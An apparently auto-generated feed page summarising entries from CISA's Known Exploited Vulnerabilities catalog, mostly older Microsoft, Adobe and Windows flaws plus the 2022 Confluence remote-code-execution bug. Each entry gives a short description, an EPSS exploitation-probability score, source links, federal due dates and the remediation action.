CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2009-0563
Microsoft Office Buffer Overflow Vulnerability (Jun 8, 2022).
Microsoft Office contains a buffer overflow vulnerability that allows remote attackers to execute code via a Word document with a crafted tag containing an invalid length field.
EPSS 59.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-0563&date=2026-10-25).
Sources:
CISA KEV entry CVE-2009-0563: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-0563&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Object Record Corruption Vulnerability
https://kevwire.com/record/CVE-2009-0557
Microsoft Office Object Record Corruption Vulnerability (Jun 8, 2022).
Microsoft Office contains an object record corruption vulnerability that allows remote attackers to execute code via a crafted Excel file with a malformed record object.
EPSS 52.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-0557&date=2026-10-25).
Sources:
CISA KEV entry CVE-2009-0557: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-0557&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Acrobat and Reader Unspecified Vulnerability
https://kevwire.com/record/CVE-2008-0655
Adobe Acrobat and Reader Unspecified Vulnerability (Jun 8, 2022).
Adobe Acrobat and Reader contains an unespecified vulnerability described as a design flaw which could allow a specially crafted file to be printed silently an arbitrary number of times.
EPSS 37.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2008-0655&date=2026-10-25).
Sources:
CISA KEV entry CVE-2008-0655: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2008-0655&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Acrobat and Reader Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2007-5659
Adobe Acrobat and Reader Buffer Overflow Vulnerability (Jun 8, 2022).
Adobe Acrobat and Reader contain a buffer overflow vulnerability that allows remote attackers to execute code via a PDF file with long arguments to unspecified JavaScript methods.
EPSS 87.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2007-5659&date=2026-10-25).
Sources:
CISA KEV entry CVE-2007-5659: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2007-5659&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Word Malformed Object Pointer Vulnerability
https://kevwire.com/record/CVE-2006-2492
Microsoft Word Malformed Object Pointer Vulnerability (Jun 8, 2022).
Microsoft Word and Microsoft Works Suites contain a malformed object pointer which allows attackers to execute code.
EPSS 48.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2006-2492&date=2026-10-25).
Sources:
CISA KEV entry CVE-2006-2492: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2006-2492&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Atlassian Confluence Server and Data Center Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2022-26134
Atlassian Confluence Server and Data Center Remote Code Execution Vulnerability (Jun 2, 2022).
Atlassian Confluence Server and Data Center contain a remote code execution vulnerability that allows for an unauthenticated attacker to perform remote code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26134&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-26134: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26134&date=2026-10-25
CISA added this entry on 2022-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Immediately block all internet traffic to and from affected products AND apply the update per vendor instructions [https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html] OR remove the affected products by the due date on the right. Note: Once the update is successfully deployed, agencies can reassess the internet blocking rules.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 2, 2022; federal due date Jun 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Solaris Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-3010
Oracle Solaris Privilege Escalation Vulnerability (May 25, 2022).
Oracle Solaris component: XScreenSaver contains an unspecified vulnerability that allows for privilege escalation.
EPSS 13.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-3010&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-3010: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-3010&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Graphics Device Interface (GDI) Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2016-3393
Microsoft Windows Graphics Device Interface (GDI) Remote Code Execution Vulnerability (May 25, 2022).
A remote code execution vulnerability exists due to the way the Windows GDI component handles objects in the memory. An attacker who successfully exploits this vulnerability could take control of the affected system.
EPSS 68.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-3393&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-3393: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-3393&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Open Type Font Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2016-7256
Microsoft Windows Open Type Font Remote Code Execution Vulnerability (May 25, 2022).
A remote code execution vulnerability exists when the Windows font library improperly handles specially crafted embedded fonts. An attacker who successfully exploits this vulnerability could take control of the affected system.
EPSS 64.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-7256&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-7256: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-7256&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player and AIR Integer Overflow Vulnerability
https://kevwire.com/record/CVE-2016-1010
Adobe Flash Player and AIR Integer Overflow Vulnerability (May 25, 2022).
Integer overflow vulnerability in Adobe Flash Player and AIR allows attackers to execute code.
EPSS 19.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-1010&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-1010: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-1010&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted products are end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player and AIR Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2016-0984
Adobe Flash Player and AIR Use-After-Free Vulnerability (May 25, 2022).
Use-after-free vulnerability in Adobe Flash Player and Adobe AIR allows attackers to execute code.
EPSS 54.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-0984&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-0984: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-0984&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted products are end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Silverlight Runtime Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2016-0034
Microsoft Silverlight Runtime Remote Code Execution Vulnerability (May 25, 2022).
Microsoft Silverlight mishandles negative offsets during decoding, which allows attackers to execute remote code or cause a denial-of-service (DoS).
EPSS 69.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-0034&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-0034: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-0034&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted products are end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player ASLR Bypass Vulnerability
https://kevwire.com/record/CVE-2015-0310
Adobe Flash Player ASLR Bypass Vulnerability (May 25, 2022).
Adobe Flash Player does not properly restrict discovery of memory addresses, which allows attackers to bypass the address space layout randomization (ASLR) protection mechanism.
EPSS 15.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-0310&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-0310: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-0310&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows TS WebProxy Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2015-0016
Microsoft Windows TS WebProxy Directory Traversal Vulnerability (May 25, 2022).
Directory traversal vulnerability in the TS WebProxy (TSWbPrxy) component in Microsoft Windows allows remote attackers to escalate privileges.
EPSS 75.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-0016&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-0016: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-0016&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer ASLR Bypass Vulnerability
https://kevwire.com/record/CVE-2015-0071
Microsoft Internet Explorer ASLR Bypass Vulnerability (May 25, 2022).
Microsoft Internet Explorer allows remote attackers to bypass the address space layout randomization (ASLR) protection mechanism via a crafted web site.
EPSS 33.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-0071&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-0071: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-0071&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2015-2360
Microsoft Win32k Privilege Escalation Vulnerability (May 25, 2022).
Win32k.sys in the kernel-mode drivers in Microsoft Windows allows local users to gain privileges or cause denial-of-service (DoS).
EPSS 14.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2360&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-2360: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2360&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2015-2425
Microsoft Internet Explorer Memory Corruption Vulnerability (May 25, 2022).
Microsoft Internet Explorer contains a memory corruption vulnerability that allows remote attackers to execute code or cause denial-of-service (DoS).
EPSS 44.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2425&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-2425: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2425&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Mount Manager Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2015-1769
Microsoft Windows Mount Manager Privilege Escalation Vulnerability (May 25, 2022).
A privilege escalation vulnerability exists when the Windows Mount Manager component improperly processes symbolic links.
EPSS 4.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-1769&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-1769: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-1769&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mozilla Firefox Security Feature Bypass Vulnerability
https://kevwire.com/record/CVE-2015-4495
Mozilla Firefox Security Feature Bypass Vulnerability (May 25, 2022).
Moxilla Firefox allows remote attackers to bypass the Same Origin Policy to read arbitrary files or gain privileges.
EPSS 68.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-4495&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-4495: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-4495&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Integer Overflow Vulnerability
https://kevwire.com/record/CVE-2015-8651
Adobe Flash Player Integer Overflow Vulnerability (May 25, 2022).
Integer overflow in Adobe Flash Player allows attackers to execute code.
EPSS 67.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-8651&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-8651: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-8651&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Kernel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2015-6175
Microsoft Windows Kernel Privilege Escalation Vulnerability (May 25, 2022).
The kernel in Microsoft Windows contains a vulnerability that allows local users to gain privileges via a crafted application.
EPSS 5.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-6175&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-6175: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-6175&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2015-1671
Microsoft Windows Remote Code Execution Vulnerability (May 25, 2022).
A remote code execution vulnerability exists when components of Windows, .NET Framework, Office, Lync, and Silverlight fail to properly handle TrueType fonts.
EPSS 48.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-1671&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-1671: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-1671&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2014-4148
Microsoft Windows Remote Code Execution Vulnerability (May 25, 2022).
A remote code execution vulnerability exists when the Windows kernel-mode driver improperly handles TrueType fonts.
EPSS 59.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-4148&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-4148: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-4148&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Dereferenced Pointer Vulnerability
https://kevwire.com/record/CVE-2014-8439
Adobe Flash Player Dereferenced Pointer Vulnerability (May 25, 2022).
Adobe Flash Player has a vulnerability in the way it handles a dereferenced memory pointer which could lead to code execution.
EPSS 20.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-8439&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-8439: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-8439&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2014-4123
Microsoft Internet Explorer Privilege Escalation Vulnerability (May 25, 2022).
Microsoft Internet Explorer contains an unspecified vulnerability that allows remote attackers to gain privileges via a crafted web site.
EPSS 47.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-4123&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-4123: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-4123&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Reader and Acrobat Sandbox Bypass Vulnerability
https://kevwire.com/record/CVE-2014-0546
Adobe Reader and Acrobat Sandbox Bypass Vulnerability (May 25, 2022).
Adobe Reader and Acrobat on Windows allow attackers to bypass a sandbox protection mechanism, and consequently execute native code in a privileged context.
EPSS 22.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-0546&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-0546: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-0546&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2014-2817
Microsoft Internet Explorer Privilege Escalation Vulnerability (May 25, 2022).
Microsoft Internet Explorer cotains an unspecified vulnerability that allows remote attackers to gain privileges via a crafted web site.
EPSS 26.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-2817&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-2817: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-2817&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
